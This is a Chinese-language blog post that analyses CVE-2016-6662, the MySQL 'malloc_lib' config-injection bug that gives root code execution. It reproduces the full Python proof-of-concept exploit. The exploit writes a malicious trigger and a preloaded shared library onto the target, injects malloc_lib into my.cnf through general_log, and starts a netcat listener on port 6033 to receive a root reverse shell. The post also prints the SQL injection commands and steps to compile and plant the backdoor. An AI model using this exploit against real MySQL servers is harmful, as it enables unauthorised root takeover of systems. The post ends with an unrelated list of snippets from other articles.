【漏洞分析】UDF提权漏洞——CVE-2016-6662-MySQL ‘malloc_lib’变量重写命令执行
0x00 前言
最近在做渗透笔记,其中有一个靶机在getshell后,需要进行提权。发现靶机使用root启动的mysql服务,那么尝试使用UDF提权。于是在提权成功后,花了一天时间特意搜了一下整个UDF提权的漏洞原理和利用,加深理解。
大体思路就是mysql某几个版本内,mysqld_safe 脚本有一个加速/处理内存的地方会采用 “malloc_lib”变量作为选择性加载(preload方式)malloc库。但问题是是这个变量可以被my.cnf所控制,导致my.cnf一旦被攻击者在mysql客户端篡改的话可以直接导致mysqld_safe所调用的mysqld进程执行权被控制。
完整的漏洞学习可以参考:https://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html
我也是在使用谷歌翻译后一点点了解学习到的,学完才发现百度上有完整的翻译,尴尬!https://www.anquanke.com/post/id/84557
0x01 漏洞影响
MySQL <= 5.7.15 远程代码执行/ 提权 (0day)
5.6.33
5.5.52
Mysql分支的版本也受影响,包括:
MariaDB
PerconaDB
0x02 漏洞介绍
这个漏洞影响(5.7, 5.6, 和 5.5版本)的所有Mysql默认配置,包括最新的版本,攻击者可以远程和本地利用该漏洞。该漏洞需要认证访问MYSQL数据库(通过网络连接或者像phpMyAdmin的web接口),以及通过SQL注入利用。攻击者成功利用该漏洞可以以ROOT权限执行代码,完全控制服务器。
0x03 漏洞描述
在使用root开启mysql进程后
root 14967 0.0 0.1 4340 1588 ? S 06:41 0:00 /bin/sh /usr/bin/mysqld_safe mysql 15314 1.2 4.7 558160 47736 ? Sl 06:41 0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306
可以看到mysqld_safe的wrapper(封装)脚本是root权限执行的,而主要的mysqld进程确实mysql用户权限执行的。
那么直接来看这个mysqld_safe脚本:
1 ----[ /usr/bin/mysqld_safe ]----2 [...]3 # set_malloc_lib LIB4 # - If LIB is empty, do nothing and return5 # - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib6 # then pkglibdir. tcmalloc is part of the Google perftools project.7 # - If LIB is an absolute path, assume it is a malloc shared library8 #9 # Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when 10 # running mysqld. See ld.so for details. 11 set_malloc_lib() { 12 malloc_lib="$1" 13 if [ "$malloc_lib" = tcmalloc ]; then 14 pkglibdir=`get_mysql_config --variable=pkglibdir` 15 malloc_lib= 16 # This list is kept intentionally simple. Simply set --malloc-lib 17 # to a full path if another location is desired. 18 for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do 19 for flavor in _minimal '' _and_profiler _debug; do 20 tmp="$libdir/libtcmalloc$flavor.so" 21 #log_notice "DEBUG: Checking for malloc lib '$tmp'" 22 [ -r "$tmp" ] || continue 23 malloc_lib="$tmp" 24 break 2 25 done 26 done 27 [...] 28 ----------[ eof ]---------------
通过手册我们可以得知–malloc-lib=LIB 选项可以加载一个so文件,如果攻击者可以注入路径信息到配置文件,就可以在MYSQL服务重启的时候,执行任意代码。
从2003开始,默认通过SELECT * INFO OUTFILE '/var/lib/mysql/my.cnf'是不能覆写文件的,但是我们可以利用mysql logging(MySQL )功能绕过outfile/dumpfile重写文件的保护,攻击者需要 SELECT/FILE 权限 。
我们通过覆写/etc/my.cnf注入malloc_lib=路径选项,命令如下:
1 ----[ /usr/bin/mysqld_safe ]----2 [...]3 # set_malloc_lib LIB4 # - If LIB is empty, do nothing and return5 # - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib6 # then pkglibdir. tcmalloc is part of the Google perftools project.7 # - If LIB is an absolute path, assume it is a malloc shared library8 #9 # Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when 10 # running mysqld. See ld.so for details. 11 set_malloc_lib() { 12 malloc_lib="$1" 13 if [ "$malloc_lib" = tcmalloc ]; then 14 pkglibdir=`get_mysql_config --variable=pkglibdir` 15 malloc_lib= 16 # This list is kept intentionally simple. Simply set --malloc-lib 17 # to a full path if another location is desired. 18 for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do 19 for flavor in _minimal '' _and_profiler _debug; do 20 tmp="$libdir/libtcmalloc$flavor.so" 21 #log_notice "DEBUG: Checking for malloc lib '$tmp'" 22 [ -r "$tmp" ] || continue 23 malloc_lib="$tmp" 24 break 2 25 done 26 done 27 [...] 28 ----------[ eof ]--------------- 29 mysql> set global general_log_file = '/etc/my.cnf'; 30 mysql> set global general_log = on; 31 mysql> select ' 32 '> 33 '> ; injected config entry 34 '> 35 '> [mysqld] 36 '> malloc_lib=/tmp/mysql_exploit_lib.so 37 '> 38 '> [separator] 39 '> 40 '> '; 41 mysql> set global general_log = off;
注入后的my.cnf文件包含:
[mysqld] malloc_lib=/tmp/mysql_exploit_lib.so
----------[ 0ldSQL_MySQL_RCE_exploit.py ]-------------- #!/usr/bin/python # This is a limited version of the PoC exploit. It only allows appending to # existing mysql config files with weak permissions. See V) 1) section of # the advisory for details on this vector. # # Full PoC will be released at a later date, and will show how attackers could # exploit the vulnerability on default installations of MySQL on systems with no # writable my.cnf config files available. # # The upcoming advisory CVE-2016-6663 will also make the exploitation trivial # for certain low-privileged attackers that do not have FILE privilege. # # See full advisory for details: # http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt # # Stay tuned ;) intro = """ 0ldSQL_MySQL_RCE_exploit.py (ver. 1.0) (CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit For testing purposes only. Do no harm. Discovered/Coded by: Dawid Golunski http://legalhackers.com """ import argparse import mysql.connector import binascii import subprocess def info(str):print "[+] " + str + "n" def errmsg(str):print "[!] " + str + "n" def shutdown(code):if (code==0):info("Exiting (code: %d)n" % code)else:errmsg("Exiting (code: %d)n" % code)exit(code) cmd = "rm -f /var/lib/mysql/pocdb/poctable.TRG ; rm -f /var/lib/mysql/mysql_hookandroot_lib.so" process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) (result, error) = process.communicate() rc = process.wait() # where will the library to be preloaded reside? /tmp might get emptied on reboot # /var/lib/mysql is safer option (and mysql can definitely write in there ;) malloc_lib_path='/var/lib/mysql/mysql_hookandroot_lib.so' # Main Meat print intro # Parse input args parser = argparse.ArgumentParser(prog='0ldSQL_MySQL_RCE_exploit.py', description='PoC for MySQL Remote Root Code Execution / Privesc CVE-2016-6662') parser.add_argument('-dbuser', dest='TARGET_USER', required=True, help='MySQL username') parser.add_argument('-dbpass', dest='TARGET_PASS', required=True, help='MySQL password') parser.add_argument('-dbname', dest='TARGET_DB', required=True, help='Remote MySQL database name') parser.add_argument('-dbhost', dest='TARGET_HOST', required=True, help='Remote MySQL host') parser.add_argument('-mycnf', dest='TARGET_MYCNF', required=True, help='Remote my.cnf owned by mysql user')args = parser.parse_args() # Connect to database. Provide a user with CREATE TABLE, SELECT and FILE permissions # CREATE requirement could be bypassed (malicious trigger could be attached to existing tables) info("Connecting to target server %s and target mysql account '%s@%s' using DB '%s'" % (args.TARGET_HOST, args.TARGET_USER, args.TARGET_HOST, args.TARGET_DB)) try:dbconn = mysql.connector.connect(user=args.TARGET_USER, password=args.TARGET_PASS, database=args.TARGET_DB, host=args.TARGET_HOST) except mysql.connector.Error as err:errmsg("Failed to connect to the target: {}".format(err))shutdown(1) try:cursor = dbconn.cursor()cursor.execute("SHOW GRANTS") except mysql.connector.Error as err:errmsg("Something went wrong: {}".format(err))shutdown(2) privs = cursor.fetchall() info("The account in use has the following grants/perms: " ) for priv in privs:print priv[0] print "" # Compile mysql_hookandroot_lib.so shared library that will eventually hook to the mysqld # process execution and run our code (Remote Root Shell) # Remember to match the architecture of the target (not your machine!) otherwise the library # will not load properly on the target. info("Compiling mysql_hookandroot_lib.so") cmd = "gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl" process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) (result, error) = process.communicate() rc = process.wait() if rc != 0:errmsg("Failed to compile mysql_hookandroot_lib.so: %s" % cmd)print error shutdown(2) # Load mysql_hookandroot_lib.so library and encode it into HEX info("Converting mysql_hookandroot_lib.so into HEX") hookandrootlib_path = './mysql_hookandroot_lib.so' with open(hookandrootlib_path, 'rb') as f:content = f.read()hookandrootlib_hex = binascii.hexlify(content) # Trigger payload that will elevate user privileges and sucessfully execute SET GLOBAL GENERAL_LOG # Decoded payload (paths may differ): """ DELIMITER // CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf AFTER INSERTON `poctable` FOR EACH ROW BEGINDECLARE void varchar(550);set global general_log_file='/var/lib/mysql/my.cnf';set global general_log = on;select " # 0ldSQL_MySQL_RCE_exploit got here :) [mysqld] malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so' [abyss] " INTO void; set global general_log = off; END; // DELIMITER ; """ trigger_payload="""TYPE=TRIGGERS triggers='CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\nAFTER INSERT\n ON `poctable` FOR EACH ROW\nBEGIN\n\n DECLARE void varchar(550);\n set global general_log_file=\'%s\';\n set global general_log = on;\n select "\n\n# 0ldSQL_MySQL_RCE_exploit got here :)\n\n[mysqld]\nmalloc_lib=\'%s\'\n\n[abyss]\n" INTO void; \n set global general_log = off;\n\nEND' sql_modes=0 definers='root@localhost' client_cs_names='utf8' connection_cl_names='utf8_general_ci' db_cl_names='latin1_swedish_ci' """ % (args.TARGET_MYCNF, malloc_lib_path) # Convert trigger into HEX to pass it to unhex() SQL function trigger_payload_hex = "".join("{:02x}".format(ord(c)) for c in trigger_payload) # Save trigger into a trigger file TRG_path="/var/lib/mysql/%s/poctable.TRG" % args.TARGET_DB info("Saving trigger payload into %s" % (TRG_path)) try:cursor = dbconn.cursor()cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (trigger_payload_hex, TRG_path) ) except mysql.connector.Error as err:errmsg("Something went wrong: {}".format(err))shutdown(4) # Save library into a trigger file info("Dumping shared library into %s file on the target" % malloc_lib_path) try:cursor = dbconn.cursor()cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (hookandrootlib_hex, malloc_lib_path) ) except mysql.connector.Error as err:errmsg("Something went wrong: {}".format(err))shutdown(5) # Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server info("Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded") try:cursor = dbconn.cursor()cursor.execute("CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'" ) except mysql.connector.Error as err:errmsg("Something went wrong: {}".format(err))shutdown(6) # Finally, execute the trigger's payload by inserting anything into `poctable`. # The payload will write to the mysql config file at this point. info("Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config %s" % args.TARGET_MYCNF ) try:cursor = dbconn.cursor()cursor.execute("INSERT INTO `poctable` VALUES('execute the trigger!');" ) except mysql.connector.Error as err:errmsg("Something went wrong: {}".format(err))shutdown(6) # Check on the config that was just created info("Showing the contents of %s config to verify that our setting (malloc_lib) got injected" % args.TARGET_MYCNF ) try:cursor = dbconn.cursor()cursor.execute("SELECT load_file('%s')" % args.TARGET_MYCNF) except mysql.connector.Error as err:errmsg("Something went wrong: {}".format(err))shutdown(2) finally:dbconn.close() # Close DB connection print "" myconfig = cursor.fetchall() print myconfig[0][0] info("Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)") # Spawn a Shell listener using netcat on 6033 (inverted 3306 mysql port so easy to remember ;) info("Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)" ) listener = subprocess.Popen(args=["/bin/nc", "-lvp","6033"]) listener.communicate() print "" # Show config again after all the action is done info("Shell closed. Hope you had fun. ") # Mission complete, but just for now... Stay tuned :) info("""Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)""") # Shutdown shutdown(0)
(Author Zhaoxuepeng https://www.cnblogs.com/Shepherdzhao)
对CVE-2016-6662的简单测试
1.修改my.cnf的权限,让mysql用户可写
2.通过mysql logging 覆写文件
3.放置后门程序
gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.c.so mysql_hookandroot_lib.c.c -ldl
4.重启触发反弹
相关文章:
【漏洞分析】UDF提权漏洞——CVE-2016-6662-MySQL ‘malloc_lib’变量重写命令执行
0x00 前言 最近在做渗透笔记,其中有一个靶机在getshell后,需要进行提权。发现靶机使用root启动的mysql服务,那么尝试使用UDF提权。于是在提权成功后,花了一天时间特意搜了一下整个UDF提权的漏洞原理和利用,加深理解。…...
特种设备安全管理人员免费题库限时练习(判断题)
56.(判断题)特别重大事故、重大事故、较大事故和一般事故,负责事故调查的人民政府应当自收到事故调查报告之日起15日内做出批复。 A.正确 B.错误 答案:错误 57.(判断题)每一类事故灾难的应急救援措施可能千差万别,因此其基本应急模式是不一致的。 A.正确 B.错误 答案:错…...
linux-25 文件管理(三)复制、移动文件,cp,mv
命令cp是copy的简写,而mv则是move的简写。那既然copy是用于实现复制文件的,那通常一般我们要指定其要复制的是谁?而且复制完以后保存在什么地方,对吧?那因此它的使用格式很简单,那就是cp srcfile dest&…...
中国科技统计年鉴EXCEL版(2021-2023年)-社科数据
中国科技统计年鉴EXCEL版(2021-2023年)-社科数据https://download.csdn.net/download/paofuluolijiang/90028724 https://download.csdn.net/download/paofuluolijiang/90028724 中国科技统计年鉴提供了从2021至2023年的详尽数据,覆盖了科技…...
Idea(中文版) 项目结构/基本设置/设计背景
目录 1. Idea 项目结构 1.1 新建项目 1.2 新建项目的模块 1.3 新建项目模块的包 1.4 新建项目模块包的类 2. 基本设置 2.1 设置主题 2.2 设置字体 2.3 设置注释 2.4 自动导包 2.5 忽略大小写 2.6 设置背景图片 3. 项目与模块操作 3.1 修改类名 3.2 关闭项目 1. I…...
jenkins入门--安装jenkins
下载地址https://www.jenkins.io/ jdk 安装 :Jenkins需要安装对应版本的jdk,我在安装过程中显示需要21,17 Java Downloads | Oracle jenkins安装过程参考全网最清晰Jenkins安装教程-windows_windows安装jenkins-CSDN博客 安装完成后,浏览器输入127.0.…...
基于Springboot + vue实现的小型养老院管理系统
🥂(❁◡❁)您的点赞👍➕评论📝➕收藏⭐是作者创作的最大动力🤞 💖📕🎉🔥 支持我:点赞👍收藏⭐️留言📝欢迎留言讨论 🔥🔥&…...
shell基础使用及vim的常用快捷键
一、shell简介 参考博文1 参考博文2——shell语法及应用 参考博文3——vi的使用 在linux中有很多类型的shell,不同的shell具备不同的功能,shell还决定了脚本中函数的语法,Linux中默认的shell是 / b in/ b a s h ,流行的shell…...
Mac 安装psycopg2出错:Error:pg_config executable not found的解决
在mac 上执行pip3 install psycopg2-binary出现如下错误: Error:pg_config executable not found然后我又到终端里执行 brew install postgresql16 显示 Warning: You are using macOS 15. We do not provide support for this pre-release version. It is expe…...
UniApp | 从入门到精通:开启全平台开发的大门
UniApp | 从入门到精通:开启全平台开发的大门 一、前言二、Uniapp 基础入门2.1 什么是 Uniapp2.2 开发环境搭建三、Uniapp 核心语法与组件3.1 模板语法3.2 组件使用四、页面路由与导航4.1 路由配置4.2 导航方法五、数据请求与处理5.1 发起请求5.2 数据缓存六、样式与布局6.1 样…...
Kafka3.x KRaft 模式 (没有zookeeper) 常用命令
版本号:kafka_2.12-3.7.0 说明:如有多个地址,用逗号分隔 创建主题 bin/kafka-topics.sh --bootstrap-server localhost:9092 --create --topic demo --partitions 1 --replication-factor 1删除主题 bin/kafka-topics.sh --delete --boots…...
【竞技宝】CS2:NertZ离队Liquid光速加盟!
2025年1月7日,目前CS2的赛事正处于空窗期中,很多队伍在近期都在进行阵容上的调整,其中出现了很多震惊观众的转会消息。今日凌晨,HEROIC官宣队内的NertZ选手正式离队,此后Liquid很快发布消息宣布了NertZ的加盟。 今日凌…...
PDFMathTranslate: Star13.8k,一款基于AI的PDF文档全文双语翻译PDF文档全文双语翻译,保留格式神器,你应该需要它
嗨,大家好,我是小华同学,关注我们获得“最新、最全、最优质”开源项目和高效工作学习方法 PDFMathTranslate是一个开源项目,旨在为用户提供便捷的PDF科学论文翻译解决方案。它不仅能够翻译文本,还能保留公式、图表、目…...
滑动窗口——最小覆盖子串
一.题目描述 76. 最小覆盖子串 - 力扣(LeetCode) 二.题目解析 题目还是很好理解的,就是在字符串s中找到一个子串,该子串包含字符串t的所有字符。返回最短的子串。如果s中不包含这样的子串就返回一个空串。 需要注意的是&#…...
2012mfc,几种串
串,即是由符组成的串,在标准C,标准C,MFC中串这一功能的实现是不相同的,C完全兼容了C. 1.标准C中的串 在标准C中没有串数据类型,C中的串是有符类型的符数组或符类型的符指针来实现的.如: char name[26]"This is a Cstyle string"; //或char *name"This is a…...
基于SpringBoot的乐器商城购物推荐系统
作者:计算机学姐 开发技术:SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等,“文末源码”。 专栏推荐:前后端分离项目源码、SpringBoot项目源码、Vue项目源码、SSM项目源码、微信小程序源码 精品专栏:…...
Jurgen提出的Highway Networks:LSTM时间维方法应用到深度维
Jurgen提出的Highway Networks:LSTM时间维方法应用到深度维 具体实例与推演 假设我们有一个离散型随机变量 X X X,它表示掷一枚骰子得到的点数,求 X X X 的期望。 步骤: 列出 X X X 的所有可能取值 x i x_i xi(…...
asp.net core中的 Cookie 和 Session
在 Web 开发中,用户会话管理是非常重要的,尤其是在需要保持用户状态和身份验证的应用中。ASP.NET Core 提供了多种状态管理技术,如 Cookie 和 Session,它们可以帮助你管理用户会话、存储数据并实现用户身份验证等功能。下面将详细…...
【STM32+CubeMX】 新建一个工程(STM32F407)
相关文章: 【HAL库】 STM32CubeMX 教程 1 --- 下载、安装 目录 第一部分、新建工程 第二部分、工程文件解释 第三部分、编译验证工程 友情约定:本系列的前五篇,为了方便新手玩家熟悉CubeMX、Keil的使用,会详细地截图每一步Cu…...
IO进程day1
一、思维导图...
剧本字幕自己看
Hello English learners! Welcome back to my channel! My name is Ethan, and today we’re diving into a topic we deal with every day—traffic. 大家好,英语学习者们!欢迎回到我的频道!我是Ethan,今天我们要聊一个每天都会遇到的话题——交通。 When I drive somewh…...
Java排序
Map Stream 排序 最簡單的排序方式 Map<String,String> _lineMap = _itRow.next();_lineMap = _lineMap.entrySet().stream().sorted((i1,i2)>i1.getKey().compareTo(i2.getKey())).collect(Collectors.toMap(Map.Entry::getKey, Map.Entry::getValue,(e1,e2)->e…...
Geoserver修行记-后端调用WMS/WMTS服务无找不到图层Could not find layer
项目场景 调用geoserver地图服务WMS,找不到图层 我在进行地图服务调用的时候,总是提示我找不多图层 Could not find layer,重点是这个图层我明明是定义了,发布了,且还能够正常查看图层的wms的样式,但是在调用后端调用…...
JavaScript代码片段二
见过不少人、经过不少事、也吃过不少苦,感悟世事无常、人心多变,靠着回忆将往事串珠成链,聊聊感情、谈谈发展,我慢慢写、你一点一点看...... JavaScript统计文字个数、特殊字符转义、动态插入js代码、身份证验证 统计文字个数 f…...
Opencv图片的旋转和图片的模板匹配
图片的旋转和图片的模板匹配 目录 图片的旋转和图片的模板匹配1 图片的旋转1.1 numpy旋转1.1.1 函数1.1.2 测试 1.2 opencv旋转1.2.1 函数1.2.2 测试 2 图片的模板匹配2.1 函数2.2 实际测试 1 图片的旋转 1.1 numpy旋转 1.1.1 函数 np.rot90(kl,k1),k1逆时针旋转9…...
ebpf 笔记
eBPF(extened Berkeley Packet Filter)是一种内核技术,它允许开发人员在不修改内核代码的情况下运行特定的功能 https://zhuanlan.zhihu.com/p/712220029 eBPF技术简介 - 阅读清单 - 腾讯云开发者社区-腾讯云 从石器时代到成为“神”,一文讲透eBPF技术发展演进史 …...
C++编程基础之override关键字
在C中,override关键字用于显式地标识派生类中的成员函数是对基类中虚函数的重写,具有以下重要作用和使用说明: 作用 增强代码可读性:通过使用override关键字,能够清晰地向阅读代码的人表明该函数是有意重写基类中的虚…...
自动化之数据库:docker部署mongo,为下一步的使用打下基础
以下是一个详细的Docker Compose配置示例,用于设置一个包含三个节点的MongoDB副本集,并确保安全性(使用账号密码进行认证)。所有节点都将设置在同一个Docker网络( py-mongo )下,以便于未来的扩…...
VR+智慧消防一体化决策平台
随着科技的飞速发展,虚拟现实(VR)技术与智慧城市建设的结合越来越紧密。在消防安全领域,VR技术的应用不仅能够提升消防训练的效率和安全性,还能在智慧消防一体化决策平台中发挥重要作用。本文将探讨“VR智慧消防一体化…...
新能源网站提升用户体验的关键
新能源网站的用户体验对于吸引和留住访问者至关重要。一个优秀的用户体验可以增加用户的满意度,提高他们对网站的忠诚度。在设计新能源网站时,关键在于简洁明了的界面和易于导航的布局。用户应该能够轻松找到他们需要的信息,而不会感到困惑或…...
【12_多数元素】
问题 给定一个大小为 n 的数组 nums ,返回其中的多数元素。 多数元素是指在数组中出现次数 大于 ⌊ n/2 ⌋ 的元素。你可以假设数组是非空的,并且给定的数组总是存在多数元素。 思路 使用摩尔投票算法来解决。该算法的基本思想是维护一个候选人和一个…...
深入理解 Android 中的 ActivityInfo
深入理解 Android 中的 ActivityInfo 在 Android 开发中,ActivityInfo 是一个非常重要的类,它包含了关于 Activity 的元信息。这些信息通常是从 AndroidManifest.xml 文件中提取的,开发者可以通过 ActivityInfo 类来获取和操作这些信息。本文…...
【通识安全】煤气中毒急救的处置
1.煤气中毒的主要症状与体征一氧化碳中毒,其中毒症状一般分为轻、中、重三种。 (1)轻度:仅有头晕、头痛、眼花、心慌、胸闷、恶心等症状。如迅速打开门窗,或将病人移出中毒环境,使之吸入新鲜空气和休息,给些热饮料&am…...
windows从0开始配置llamafactory微调chatglm3-6b
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 一、准备工作1、创建python虚拟环境(annoconda)2、配置pytorch傻瓜版3、llamafactory配置4、微调数据准备 一、准备工作 1、创建python虚拟环境(annoconda) 本篇文…...
IM-Magic Partition Resizer(分区调整软件) v7.5.0 多语便携版
IM-Magic Partition Resizer是一款功能强大的分区调整软件,允许用户调整并重新分配硬盘分区空间,从而在不丢失数据的情况下改变分区的大小和位置。 软件功能 支持调整和重新分配硬盘分区的空间大小。能够将分区扩大或缩小而不会导致数据丢失。可以改变分…...
matlab中高精度计算函数vpa与非厄米矩阵本征值的求解
clear;clc;close all tic %并行设置% delete(gcp(nocreate));%关闭之前的并行 cparcluster(local); c.NumWorkers50;%手动设置线程数(否则默认最大线程为12) parpool(c, c.NumWorkers); %并行设置%w1; u2.5;N30;valstozeros(2*N2,100); v10linspace(-3,3,100).;parfor jj1:leng…...
流程图(四)利用python绘制漏斗图
流程图(四)利用python绘制漏斗图 漏斗图(Funnel Chart)简介 漏斗图经常用于展示生产经营各环节的关键数值变化,以较高的头部开始,较低的底部结束,可视化呈现各环节的转化效率与变动大小。一般重…...
Elasticsearch:索引mapping
这里写目录标题 一、介绍二、动态mapping三、mapping属性(1)analyzer(分析器)(2) coerce(强制类型转换)(3)copy_to(合并参数) 一、介绍 二、动态mapping 三…...
AI赋能跨境电商:魔珐科技3D数字人破解出海痛点
跨境出海进入狂飙时代,AI应用正在深度渗透并重塑着跨境电商产业链的每一个环节,迎来了发展的高光时刻。生成式AI时代的大幕拉开,AI工具快速迭代,为跨境电商行业的突破与飞跃带来了无限可能性。 由于跨境电商业务自身特性鲜明&…...
计算机网络之---信号与编码
信号 在物理层,信号是用来传输比特流的物理量,它可以是电压、电流、光强度等形式,通常通过电缆、光纤或者无线信道等媒介传播。 信号主要分为以下两种类型: 模拟信号(Analog Signal):信号在时间…...
腾讯云AI代码助手编程挑战赛-FinChat
作品简介 FinChat 是一款极具创新性的智能股票分析工具,依托国内顶尖大语言模型打造而成。它专为日常忙碌、无暇顾及金融市场,却又手握闲钱渴望投资的人群量身定制。核心功能包括: 自动剖析股票数据:迅速生成深度专业研报。实时…...
2025年PMP考试最新报名通知
经PMI和中国国际人才交流基金会研究决定,中国大陆地区2025年第一期PMI认证考试定于3月15日举办。在基金会网站报名参加本次PMI认证考试的考生须认真阅读下文,知悉考试安排及注意事项,并遵守考试有关规定。 一、时间安排 (一&#…...
蓝凌EIS智慧协同平台 fi_message_receiver.aspx SQL注入漏洞复现(CVE-2025-22214)
0x01 产品简介 蓝凌EIS智慧协同平台是一款专为成长型企业打造的沟通、协同、社交的移动办公平台,旨在提升企业内部沟通、协作和信息共享的效率。该平台集成了各种协同工具和功能,全面满足企业的办公需求。具体来说,它覆盖了审批、流程、财务、行政、人事、客户等全在线业务…...
我用AI学Android Jetpack Compose之入门篇(2)
我跑成功了第一个Compose应用,但我还是有很多疑问,请人工智能来解释一下吧。答案来自 通义千问 文章目录 1.请解释一下Compose项目的目录结构。根目录模块目录(通常是app)app/build.gradleapp/src/mainapp/src/main/uiapp/src/ma…...
确认2D Tilemap Editor安装后仍然没有基础的Tile
Create > 2D 新建里面什么Tile类型都有,就是没有最基础的Tile。 在Assets文件夹中,点击右键 > Create > C# Script,新建一个脚本,代码内容复制粘贴进去 using UnityEngine; using UnityEngine.Tilemaps;[CreateAssetMe…...
flutter 独立开发之笔记
1、# use: - [flutter_launcher_icons:] 每次修改完icon后,都需要执行一遍 dart run flutter_launcher_icons 2、开启混淆并打包apk flutter build apk --obfuscate --split-debug-info./out/android/app.android-arm64.symbols 3、开启windows支持 flutter con…...
234.回文链表
234.回文链表 思路1:双指针 1.一次遍历记录链表的值到数组中 2.数组头尾双指针开始判断 复杂度: 时间O(n),空间O(n) 代码: class Solution { public:bool isPalindrome(ListNode* head) {vector<int>nums;while(head){nums.push…...
02、Redis的安装与配置
一、安装配置CentOS7 第一步:安装虚拟机 这个步比较简单,直接安装好VMware和使用CentOS7的镜像安装操作系统 相关资源如果有需要可以在如下位置下载: VMare虚拟机:VMare工具 CentOS7镜像:CentOS7镜像 JDK17_linux-x64:JDK17_linux-x64 linux服务器连接工具:MobaX…...
自动驾驶相关知识学习笔记
一、概要 因为想知道SIL、HIL是什么仿真工具,故而浏览了自动驾驶相关的知识。 资料来源《自动驾驶——人工智能理论与实践》胡波 林青 陈强 著;出版时间:2023年3月 二、图像的分类、分割与检测任务区别 如图所示,这些更高阶的…...
虹软人脸识别
虹软人脸识别 一.虹软人脸识别1. 获取APP_ID与SDK_KEY2. 获取SDK二.Spring整合1. jar包引入2. yaml配置3. 配置类4. 工具类5. api接口6. 启动加载三.前端四.相关文献一.虹软人脸识别 开发者平台 1. 获取APP_ID与SDK_KEY 2. 获取SDK 开发文档 jar包与dll文件...